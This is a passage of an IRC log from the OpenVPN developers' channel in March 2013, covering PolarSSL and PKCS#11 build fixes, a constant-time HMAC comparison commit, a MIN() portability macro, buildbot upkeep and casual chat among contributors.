could pass all tests on Ubuntu 12.10 / 12.04 with polar 1.2.6 08:53 <@dazo> Syzzer: well, I think it's my Fedora builds (based on src.rpm) which doesn't set the "enable PKCS#11" flags correctly 08:53 <@dazo> Syzzer: openvpn + polarssl without pkcs11 works like a charm 08:54 < Syzzer> okay, I'll wait a little more then 08:55 -!- Syzzer is now known as syzzer 08:59 <@plaisthos> pkcs11 is smartcard support right? 09:03 <@dazo> yeah 09:09 <@cron2> Test sets succeded: 1 1a 2 2a 2b 3 4 4a 5. 09:09 <@cron2> Test sets failed: none. 09:09 <@cron2> polar 1.2.6, latest patch set on top of release/2.3, no pkcs11 09:09 <@cron2> freebsd 09:10 <@cron2> dazo: do you have time to try building "from polarssl 1.2.6 source with pkcs11" to see whether it works fine, then? then I'll ACK and commit... 09:10 <@dazo> cron2: I'm trying to do that ... but it seems I'm doing something wrong :/ 09:15 <@cron2> dazo: yeah, you mentioned .src.rpm 09:15 <@dazo> hehe 09:15 <@dazo> well, even when doing the non-rpm stuff too .... seems some flags are not set correctly 09:16 <@cron2> well, seems you need to use CMake 09:17 <@dazo> I do too ... nah .... time for "lunch", and see if some fresh air opens my eyes better :) 09:17 <@cron2> or maybe not 09:17 * cron2 is not exactly clear what needs to be done to polar to enable pkcs11 09:18 <@dazo> ccmake . ... gives you a text-UI .... or cmake -D$VAR:BOOL=1 09:18 <@cron2> my config.h says 09:18 <@cron2> ah 09:18 <@cron2> * This module enables SSL/TLS PKCS #11 smartcard support. 09:18 <@cron2> * Requires the presence of the PKCS#11 helper library (libpkcs11-helper) 09:18 <@cron2> #define POLARSSL_PKCS11_C 09:18 <@cron2> */ 09:18 <@cron2> that's *inside* the comment 09:18 <@dazo> huh!? 09:19 <@cron2> seems this #define needs to be moved outside and recompiled, and linked with -l lpkcs11-helper 09:19 <@cron2> s/ l// 09:20 <@dazo> which file are you looking at now? 09:20 <@cron2> include/polarssl/config.h 09:20 < syzzer> that's polarssl/config.h 09:20 <@cron2> inside polarssl source tree 09:21 < syzzer> and that's exactly what the new configure.ac should detect now 09:21 <@dazo> ugh 09:21 <@dazo> And this is how that include file looks like on my box ... http://www.fpaste.org/FQAT/ 09:22 * dazo hacks it 09:22 <@cron2> yeah, same thing - move the #define out of the comment 09:23 <@cron2> polar is using a somewhat confusing approach to these - I didn't know #define doesn't work inside /* ... */, but it very much looks like it 09:23 <@cron2> everbody else goes for /* #define */ or /* #undef */ or such :) 09:24 <@dazo> I think that's a typo 09:24 < syzzer> which btw also means that when your compile polarssl as a shared library to use pkcs11-helper, you also must link with pkcs11-helper when compiling openvpn 09:24 <@dazo> correct 09:24 <@dazo> that's the next failure 09:25 <@cron2> where's the typo? 09:25 < syzzer> to make that explicit your must choose --enable-pkcs11 when compiling openvpn+polar-with-pkcs11 09:25 <@dazo> right 09:26 <@dazo> cron2: the #define should be outside the comment ... otherwise it's not included .... the '*' prefixes are purely decoration (afaik), not required 09:26 <@dazo> anything within /* and */ is a comment 09:27 <@cron2> dazo: well, that's the point - it's inside and as such, not active 09:27 <@dazo> okay ... then we're on the same page :) 09:27 <@cron2> I just have never seen it done that way 09:27 < syzzer> yes, polar assumes that, by default, you don't want pkcs11 09:46 <@dazo> \o/ Finally! Some more bugs in PolarSSL's code base ... when using dynamic lib + pkcs11 .... got a patch for it, and could use it to make proper RPM 09:47 <@cron2> so...? 09:47 <@dazo> running 'make check' now 09:48 < syzzer> nice! Can you share the patch? I'm interested too. 09:48 <@dazo> sure! I'll upload it in their trac instance any minute 09:48 < syzzer> great, thanks 09:59 * dazo needs to get out for his food ... which he managed to postpone for 2 hours :/ 10:02 <@cron2> dazo: enjoy :-) 10:33 <@dazo> cron2: all passed with pkcs11 module enabled too 10:34 <@plaisthos> \o/ 10:34 <@plaisthos> | 10:35 <@plaisthos> \ 10:35 <@plaisthos> .oO(damn) 10:36 <@dazo> (not tested using pkcs11stored keys/certs, though) 10:37 <@dazo> plaisthos: whazzup? 10:37 <@cron2> dazo: so that's an ACK from you? 10:38 <@dazo> compile-ack ;-) I haven't looked at the code in details, this time 10:38 <@cron2> .oO(do I record compile-acks when ack-am'ing??) 10:45 <@cron2> dazo: any reason to delay merge+push on this? I think it now does everything James wanted, and it obviously works for you and me :-) 10:46 <@dazo> I trust Fox-IT have done proper reviewing internally, andj did it publicly on the ML, I think ... then we have all, I'd say 10:48 * cron2 grabs a new cup of tee, polishes his fingertips and starts messing up the tree... 10:49 <@dazo> cron2: you want the pleasure of tagging the tree? Or should I pull down stuff and do it? 10:49 <@dazo> syzzer: https://github.com/polarssl/polarssl/pull/14 10:49 <@vpnHelper> Title: Fixed issues when compiling as shared library together with PKCS#11 helper by dsommers · Pull Request #14 · polarssl/polarssl · GitHub (at github.com) 10:50 <@dazo> syzzer: it's really a stupid fix :) 10:50 <@cron2> dazo: yo do that, but there's one last issue, see the mail discussion between James and syzzer 10:51 <@dazo> oh right, the memcmp() stuff 10:51 <@cron2> yep 10:52 <@dazo> I agree with James in that discussion ... so if we can just get a patch out, let's pull it in 10:52 <@cron2> then I'll pull in syzzer's last patch (which is basically the same as James', but without the volatile) and if they decide to use the other one, then I'll update 10:55 * dazo looks again at that one 10:58 <@dazo> cron2: makes sense! 11:02 -!- raidz_away is now known as raidz 11:03 <@cron2> how do I record "James has seen this and is mostly OK with it, but has not said the magic word 'ACK'"? 11:05 <@dazo> In this case, I would be careful about adding an 'Acked-by' line ... just because he did have his comment about volatile ... so I'd probably just not mention it in this case 11:06 <@cron2> ok 11:06 <@dazo> you might however, add an anecdote about it using 'git notes' .... which is kind of like a post-it note on commits ... related to commits, but detachable messages 11:07 <@cron2> how do I do that? 11:08 <@dazo> do the normal commit stuff as usually .... and then: git notes add <commitish> 11:11 <@cron2> so, here we go 11:12 <@cron2> now all the buildbots will explode 11:13 <@vpnHelper> RSS Update - testtrac: Use constant time memcmp when comparing HMACs in openvpn_decrypt. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=11d21349a4e7e38a025849479b36ace7c2eec2ee> || Fixed autoconf script to properly detect missing pkcs11 with polarssl. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=9a3f670248d6f519a399e65a7232e2196b5115db> 11:14 <@cron2> *spam spam spam* 11:16 <@cron2> dazo, mattock: anything else missing for 2.3.1? 11:18 * dazo fetches 11:20 <@plaisthos> cron2: the verb 7 notification patch from pekster? 11:21 <@plaisthos> nevermind 11:21 <@dazo> I think I saw it there ... reading commits now 11:23 <@dazo> cron2: looks good to me ... I think we've covered what we need 11:25 <@cron2> plaisthos: you're getting old and slow :-) 11:27 <@cron2> dazo: let's tag on monday, and I'll spend the weekend making sure that my buildslaves still work (right now, they will all fail as mattock does polar builds as well) 11:28 <@dazo> cron2: makes sense! I'll spin a local test build here ... with the 2.3.1 set ... 11:31 <@cron2> whut, my openbsd box is offline again 11:35 <@plaisthos> cron2: It is now a secure openbsd box 11:36 <@cron2> is there a way to install polarssl "just library and include", without all the binaries? 11:40 <@cron2> (answer: no, except by hand editing the Makefile, or maybe by using CMake) 11:50 <@cron2> aaargh 11:50 <@cron2> msg (M_WARN, "No valid translation found for TLS cipher '%.*s'", 11:50 <@cron2> (int) MIN(current_cipher_len, 256), current_cipher); 11:50 <@cron2> this bombs on OpenSolaris 11:50 <@cron2> which has no MIN() 11:51 <@cron2> syzzer: is this coming from one of the SSL libraries (...and the openssl version is too old)? Or should this be std C? 11:51 <@dazo> cron2: http://stackoverflow.com/questions/3437404/min-and-max-in-c 11:52 <@vpnHelper> Title: macros - MIN and MAX in C - Stack Overflow (at stackoverflow.com) 11:52 <@cron2> meh 11:53 <@dazo> yeah *BSD and Linux specific :) 11:53 <@cron2> mmmh 11:54 <@cron2> osol10 has <sys/param.h> *and* MIN() in it... so this is autoconf stuff 11:54 <@dazo> maybe sys/param.h isn't included explicitly on osol10? And indirectly included via include chains on other platforms? 11:55 <@cron2> "something like that"... I'll find out, one way or the other :-) 11:55 <@cron2> that's actually why I ran my tests on fbsd74, it usually uncovers the "typical" linux-isms... :-) 11:58 <@dazo> and osol typical bsd-isms .... :-p 11:58 * dazo runs 11:58 <@cron2> nah, osol is weird, compared to whatever else 12:00 -!- dazo is now known as dazo_afk 12:08 <@plaisthos> sys/param.h does not sound like a obvious place for MIN/MAX .... 13:04 <@plaisthos> but os x also has MIN/MAX in sys/params.h 13:07 <@plaisthos> sound like including sys/param.h is the way to go 13:08 <@plaisthos> but probably windows has another ideas where MIN/MAX is defined 13:35 <@mattock> ecrist: is it possible to get email notifications from phpbb if somebody posts something to a certain forum board? 13:41 <@mattock> answering myself: seems so 13:45 <@ecrist> subscribe to the topic 14:04 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 14:04 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:04 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:49 < syzzer> cron2: I used eclipse autocompletion to check for availability of MIN, checked it compiled clean and further assumed is was taken care of somewhere in OpenVPN... Did not verify any further. 14:58 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 15:49 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:50 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:26 <@cron2> syzzer: well, that's what we have the buildbots for... find the nasty surprises *before* we release :-) 16:26 <@cron2> mattock: how are your buildbots going? 18:30 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 19:31 -!- raidz is now known as raidz_away --- Day changed Sat Mar 23 2013 02:16 <@mattock> cron2: no clue, haven't checked in a while 02:18 <@mattock> I started fedora-16-i386 (a local VM on my laptop) 02:18 <@mattock> it should now build all the queued builds 02:19 <@mattock> I'll force a rebuild on all of my builders just in case 02:22 <@mattock> ...let's see what happens 02:33 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 248 seconds] 03:38 <@cron2> mattock: you'll need to upgrade your polarssl... :) 03:38 <@cron2> my OpenBSD box is... weird. it works for a while and then loses connection to the master 03:58 < jamxNL> /win 3 03:59 <@mattock> yes, all of my polarssl installs are obsolete 04:54 <@cron2> yeah :) - I did all the upgrades (except osol10) yesterday already 04:56 <@cron2> *sigh* polar 1.2.6 doesn't build on osol10 05:05 <@plaisthos> hm polarssl bulds are smaller than openssl builds 05:06 * plaisthos checks what polarssl openvpn build miss what openssl build have 05:15 <@plaisthos> oh right management-external-key 05:35 <@cron2> *sigh* 05:36 <@cron2> on Linux, <sys/param.h> is included by means of <resolv.h> 05:37 <@cron2> and on OpenSolaris, MIN() is in <utility.h> or in <sys/sysmacros.h> (did the grep in the wrong window yesterday) 05:55 -!- kisom [~kisom@n186-p13.kthopen.kth.se] has joined #openvpn-devel 06:10 <@plaisthos> I cannot find MIN in the android headers. But since it compiles it has to be there ... 06:12 <@cron2> the wonders of C :-) 06:13 <@plaisthos> oh 06:13 <@cron2> plaisthos: how much effort is it for you to run an OSX test? Like "git pull ; make" or "boot machines, set up stuff, ..."? 06:13 <@plaisthos> cron2: should be doable. But would be manually since all my os x machines are notebooks 06:14 <@plaisthos> I could setup a buildbot in a VM I would start once in a while 06:16 <@cron2> the buildbot would be great to test all the variants mattock thinks up :-) - right now I was more wondering about "does it compile on OSX at all, or will it fail with MIN()". But if it's somewhat more effort, I can do this here - my wife has a MacMini, I just need to fiddle a bit with the somewhat stale build environment I have on it 06:16 <@plaisthos> I'll do a regualr build in a minute 06:18 <@plaisthos> I was wrong: /Users/arne/workspace/icsopenvpn/openvpn//src/openvpn/ssl_openssl.c:233: undefined reference to `MIN' 06:18 <@plaisthos> boinc has no MIN at all as it seems 06:18 <@plaisthos> OS X builds fine 06:18 <@cron2> ok, I'll submit a #ifndef MIN/#define MIN patch in a minute 06:19 <@plaisthos> from OS X 10.8: sys/param.h:#define MIN(a,b) (((a)<(b))?(a):(b)) 06:19 <@cron2> yeah, like that 06:22 <@cron2> sent to list 06:23 <@cron2> addition to syshead.h (near the end) 06:23 <@cron2> +#ifndef MIN 06:23 <@cron2> +#define MIN(a,b) (((a)<(b))?(a):(b)) 06:23 <@cron2> +#endif 06:26 <@plaisthos> cron2: isn't compat.h a better place for that? 06:30 <@cron2> I'm not sure TBH, compat.h seems to contain just the declarations used for stuff in compat.c 06:31 <@cron2> it wouldn't work "as is", though - compat.h is included right at the top of syshead.h, so it would always be #undef'ed at that point 06:31 <@plaisthos> ah right 06:32 <@cron2> (and no, I'm not adding an autoconf test for that!) 06:32 * plaisthos agrees 06:33 <@plaisthos> I sent you an ACK 06:33 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 06:33 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:38 <@cron2> still hanging in some mail queue... patch is merged, push will have to wait until ACK is here :-) 06:41 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: testing nickserv before join] 06:41 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 06:41 -!- mode/#openvpn-devel [+v krzee] by ChanServ 07:04 <@cron2> mmmh 07:05 <@cron2> OpenSolaris "--topology subnet" used to work, but now it's broken... 07:06 <@cron2> yeah, James broke it... *sigh* 07:08 <@cron2> (but that's what I get for not having full t_client tests on all buildslaves...) 07:12 <@vpnHelper> RSS Update - testtrac: Add MIN() compatibility macro <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=15ca5c297b556fbbfdee6152af26ee158222614f> 07:47 <@cron2> mattock: which of your builds run t_client.sh? I think we can extend this now to run it from the polarssl --enable-ssl --enable-crypto build as well 10:12 <@plaisthos> 10:13 <@plaisthos> .~.~. 12:30 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 12:55 -!- mattock is now known as mattock_afk 14:53 -!- dazo_afk is now known as dazo 14:58 -!- dazo is now known as dazo_afk 15:07 -!- dazo_afk is now known as dazo 15:07 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Ciao] 17:30 -!- kisom [~kisom@n186-p13.kthopen.kth.se] has quit [Ping timeout: 276 seconds] 18:24 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 21:07 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 21:07 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:37 -!- krzee [~k@openvpn/community/support/krzee] has left #openvpn-devel ["Leaving"] 22:35 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:35 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Mar 24 2013 03:54 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 12:46 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:46 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:27 -!- kisom [~kisom@n186-p13.kthopen.kth.se] has joined #openvpn-devel 15:26 <@cron2> grrr 15:27 <@cron2> --topology subnet on Solaris10 is broken at least since June 2012 *and has failed my own tests on osol10* but I never noticed 15:49 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 16:21 <@plaisthos> cron2: :/ 16:21 <@plaisthos> cron2: and now? git bisect? 16:28 <@plaisthos> PATCH: Solaris unsupoorted 16:28 <@plaisthos> #error we lost solaris support 16:28 <@plaisthos> ;) 16:28 <@cron2> plaisthos: topology net30 works, IPv6 works :-) - and topology subnet never worked in 2.2, so that it's not working is not exactly new... 16:29 <@cron2> ... but I'll go and fix it over the next days :-) - depending on what else shows up, the fix might end up in 2.3.2, but then, nobody seems to have missed that yet. 16:30 <@plaisthos> cron2: ah okay. 16:30 <@cron2> but I'll need to work on the buildslave setup and the t_client tests, to ensure this doesn't happen again (the patch I suspect was major 2.1-svn -> git porting which broke compilation on a *number* of platforms... and I know what to do (change "route add ..." to add " 0" for "on-link!"), I just need to understand the "new james" IPv4 route handling 16:31 <@cron2> it's not a major issue, just annoying me as it could have been avoided by paying more attention 16:43 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:50 <@plaisthos> running os x on kvm does not seem that easy ...\ 16:50 <@plaisthos> http://www.contrib.andrew.cmu.edu/~somlo/OSXKVM/ 16:50 <@vpnHelper> Title: Running Mac OS X as a QEMU/KVM Guest (at www.contrib.andrew.cmu.edu) 17:05 <@plaisthos> cron2: but the offer for a "once in a while manually booted buildslave" is still there someone guides me through the setup/gives a link to a guide 17:14 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 17:18 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 17:18 -!- mode/#openvpn-devel [+o mattock] by ChanServ 17:30 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 17:30 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 17:38 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 260 seconds] 17:41 -!- novaflash is now known as novaflash_away 17:43 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 17:43 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:43 -!- mode/#openvpn-devel [+oo mattock raidz] by ChanServ 17:51 -!- novaflash_away is now known as novaflash --- Log closed Sun Mar 24 18:10:21 2013 --- Log opened Sun Mar 24 18:35:03 2013 18:35 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 18:35 -!- Irssi: #openvpn-devel: Total of 18 nicks [7 ops, 0 halfops, 2 voices, 9 normal] 18:35 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 18:35 -!- Irssi: Join to #openvpn-devel was synced in 2 secs 18:35 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:35 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:35 <@ecrist> heya krzee 18:35 <+krzee> hey man! 18:35 <+krzee> I'm finally back in action 18:36 <@ecrist> oh yeah? 18:36 <+krzee> my car was stolen with my laptop in it, had to get another laptop and then a few days of configuring 18:36 <+krzee> (recovered the car) 18:37 <@ecrist> I hope the laptop was encrypted 18:37 <@ecrist> also, glad you got your car back 18:37 <+krzee> old laptop had encrypted hard drives… glad about that 18:37 <@ecrist> did they trash it? 18:37 <@ecrist> the car, I mea 18:37 <@ecrist> n 18:44 <+krzee> kinda 18:45 <+krzee> all my shit was everywhere, but the car was fine 18:45 <+krzee> except for the key hole 18:45 <+krzee> they probably used a screwdriver or something on it 18:45 <+krzee> its just a lil nissan sentra, no special anti-theft stuff 18:46 <+krzee> the upside, my new laptop is a beast 18:46 <+krzee> 15" retina, macbook pro 2.7 (turbo to 3.7) i7, 16gb ram, 512gb flash drive 18:49 <+krzee> my san diego servers are leaving me :( 18:49 <+krzee> my guy with the cage shut down his operations, so i lost my badass hookup 18:49 <+krzee> was getting $333/yr/server colo 18:52 -!- chantra_ [~chantra@unaffiliated/chantra] has joined #openvpn-devel 18:58 -!- Netsplit *.net <-> *.split quits: chantra 18:58 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:58 -!- mode/#openvpn-devel [+v krzie] by ChanServ 18:58 <+krzie> this is ridiculous, i need to start using a bouncer… any recommendations? last time i used one psybnc was what everyone used 18:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 19:01 -!- krzie is now known as krzee 19:02 -!- parmegv [U2FsdGVkX1@ma.sdf.org] has quit [Write error: Broken pipe] 19:12 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 19:14 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 19:14 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 19:15 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Remote host closed the connection] 19:22 <@ecrist> krzee: you could use token + screen or irssi 19:23 <+krzee> im partial to xchat aqua/azure 19:23 <+krzee> thank you though 19:23 <@ecrist> I forget what bouncer my buddy uses, ctcp version doesn't give it away 19:23 * ecrist looks 19:24 <@ecrist> he uses ZNC 19:25 <+krzee> nice, ill look into it 19:26 <+krzee> maybe ill toss it on xxx or something 19:26 <+krzee> since hemp is going away because of the san diego thing 19:28 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 19:29 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 19:29 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 19:32 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 19:32 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 19:32 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 19:33 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 258 seconds] 19:38 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 19:41 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 19:41 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 19:44 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 19:44 -!- mode/#openvpn-devel [+v pekster] by ChanServ 19:50 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 19:50 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 19:50 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 20:07 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Ping timeout: 258 seconds] 20:08 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 20:08 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 20:40 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 20:40 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 20:40 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 21:09 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 21:10 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 21:10 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 21:16 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 21:21 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer] 23:26 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 23:26 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Mon Mar 25 2013 00:31 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:31 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Log closed Mon Mar 25 00:44:46 2013 --- Log opened Mon Mar 25 06:55:58 2013 06:55 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 06:55 -!- Irssi: #openvpn-devel: Total of 19 nicks [8 ops, 0 halfops, 2 voices, 9 normal] 06:55 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 06:55 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 07:37 <@dazo> plaisthos++ 08:01 <@mattock> cron2: just woke up from my slumber 08:01 <@mattock> i.e. came home 08:05 <@cron2> mattock: good morning :-) I have a bit of work for you... 08:10 <@mattock> cron2: trac-related? 08:10 <@cron2> buildslave-related :) 08:10 <@mattock> ah yes 08:11 <@mattock> I'll try to manage to upgrade polarssl to 1.2 today 08:11 <@mattock> got ~50 mins now, might be able to make it 08:11 <@cron2> ugpgrade all polarssl installations to 1.2.5 or 1.2.6, and (this is the new bit) add t_client tests to one of the polar builds - as far as I understand, today only one of the openssl builds will run t_client tests, right? 08:12 <@mattock> fyi: I started writing small summaries of "what has happened in the OpenVPN project this week" here: https://community.openvpn.net/openvpn/wiki/OpenVPN2013 08:12 <@vpnHelper> Title: OpenVPN2013 – OpenVPN Community (at community.openvpn.net) 08:12 <@mattock> cron2: yes, only the build that has no extra build flags 08:12 <@mattock> the summaries are mostly for the company guys who are not much involved at the OSS side 08:12 <@cron2> oh, nice 08:13 <@mattock> if there's something else you'd like me to write down (e.g. for historical purposes) just let me know 08:14 * cron2 won't read this "right now" but later tonight - need to get some local customer work done 08:25 <@cron2> mattock: one learns new about you every day... "Thanks for humiliating us in public" :-)) 08:31 <@mattock> yep, I think he had a point :P 08:31 <@mattock> I'm too lazy to look at Trac, too 08:31 <@cron2> yeah, most definitely. Our "project management" is somewhat lacking (keeping track of open issues, trac tickets, release management, and so on) 08:32 <@cron2> not trying to put blaim on anyone, or distribute work, just stating the obvious 08:32 <@mattock> well, I think it'd be best to fix things as they come, instead of use a bug tracker to track them 08:32 <@mattock> but sometimes bug trackers are fairly useful 08:33 <@mattock> I think I'll start having a look at new issues every week at certain days 08:33 <@mattock> only way to remember to do it 08:35 <@dazo> I think we who are active in the community side don't have enough time to keep track of the bug tracker at all ... it's the mailing list which grabs our attention if it's something we see is easy to fix, or an itch we need to scratch ourselves too ... then it gets fixed 08:36 * cron2 agress with dazo - huge project, huge userbase, too few active developers 08:36 <@cron2> and too much other work getting in the way 08:37 <@cron2> but mattock's idea sounds like something that might work - one day of the week is "trac day", and then it's not *that* much work if we don't let a huge backlog pile up 08:37 <@dazo> and I have bad feelings not being able to contribute more than I can right now .... but I simply have to put my efforts on places more urgent :( 08:37 <@cron2> dazo: how can we make openvpn more urgent for you? 08:37 <@cron2> :) 08:37 <@dazo> cron2: make RH buy OpenVPN tech and move me to the new VPN team? 08:37 <@mattock> dazo: +1 08:37 * cron2 picks up the phone 08:37 <@dazo> heh :) 08:38 <@dazo> I would love to spend far more time on OpenVPN .... It's just that it's not possible currently with my workload :( 08:38 <@mattock> keeping you busy at RH, eh? 08:39 <@dazo> yeah :/ 08:39 <@cron2> I know very well how that feels - that's what I had in October-January or such. But your workload really shouldn't be *that* high for many months... 08:39 <@cron2> not healthy that is 08:40 <@dazo> That's what I'm beginning to feel too ... my body have already started to complain a little bit ... so I'm really being strict in priorities these days 08:41 <@mattock> no point in letting it go too far... can't they offload some of your work to somebody else? 08:41 <@dazo> but I'm really thankful cron2 is around to help out on the patch queue these days ... otherwise, we would have halted completely 08:41 <@mattock> my fiancee has similar issues, working all the day and in the evenings... really bad for her 08:41 <@cron2> well, that was the plan, and as long as you're around to ask git questions I can handle that 08:43 <@dazo> mattock: it's not just RH ... we moved to a new flat in addition lately ... so it's a lot to take care of right now 08:43 <@dazo> cron2: thx a lot! You're doing great! :) 08:44 * cron2 beams :-) 08:44 <@dazo> mattock: we're giving the old flat to the new owners April 2nd ... so with that out of mind, things hopefully begins to calm down a little bit (at least on the strict deadlines) 08:45 <@mattock> dazo: ah, so things are settling down, good... 08:45 <@mattock> I was afraid they're whipping you to work 24/7 at RedHat :) 08:45 <@dazo> I sure hope so :) 08:46 <@dazo> nah, RH is quite kind ... even though, I have some nasty nuts to crack there too :) 08:52 <@mattock> wrapped together a Fabric script to upgrade polarssl, seems to work nicely 08:52 <@mattock> I'll upgrade all the buildslaves and then retry the polar builds today evening 08:54 <@cron2> mattock: cool :-) - I had to do all by hand (including "RAM upgrade on the VM" :) ) 08:56 <@mattock> you should try out Fabric... it's like a "for loop in steroids" 08:56 <@mattock> i.e. you can write python code that runs stuff on the target host(s) 08:56 <@cron2> and that can "shutdown all the VMs, upgrade the RAM via vsphere client, boot the VM"? 08:56 <@cron2> (and *I* can't write python scripts...!) 08:57 <@mattock> if you can do that programmatically, then yes/maybe 08:57 <@mattock> managing KVM hosts is easy, as virsh is available 08:57 <@mattock> anyways, it's very powerful for one-time tasks 08:57 <@mattock> I used it to setup 100 performance test VMs on EC2 last year or so 08:58 <@mattock> and then bring them down 08:58 <@mattock> after tests were finished 08:58 <@mattock> re: python-fu: usually you only use run("some command") or sudo("some command") 08:59 <@cron2> well, yeah, I considered this :) but python still stinks 09:01 <@dazo> mattock: you would probably appreciate this one too .... http://ansible.cc/ 09:01 <@vpnHelper> Title: Ansible >> Advanced System Orchestration (at ansible.cc) 09:03 <@dazo> A simple tutorial: http://ansible.cc/docs/playbooks.html 09:03 <@vpnHelper> Title: Playbooks Ansible Documentation (at ansible.cc) 09:04 <@dazo> (nothing to install on remote boxes ... all you need is ssh ...) 10:32 -!- raidz is now known as raidz_away 10:32 -!- raidz_away is now known as raidz 10:54 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 246 seconds] 12:01 <@mattock> dazo: ansible looks very interesting, got to take a closer look 12:08 <+pekster> Well, turns out my Easy-RSA prototype code is fully "PolarSSL" compatible; quoting from the example ssl/CA-HOWTO.txt file, "Note: this howto requires the openssl binary..." :) 12:49 <@ecrist> PolarSSL requires the openssl binary??? 12:52 <+pekster> For keypair generation it makes some sense since it's a network library targeted to small/embedded systems. Hopefully people aren't actually trying to generate keys there either 12:52 <+pekster> But yea, the included CA howto file even has a bundled openssl config text block :P 12:54 <@ecrist> lame 13:05 <+pekster> Taking a quick gander at the sources, they have definitions for functions like rsa_gen_key, but none of the higher-level 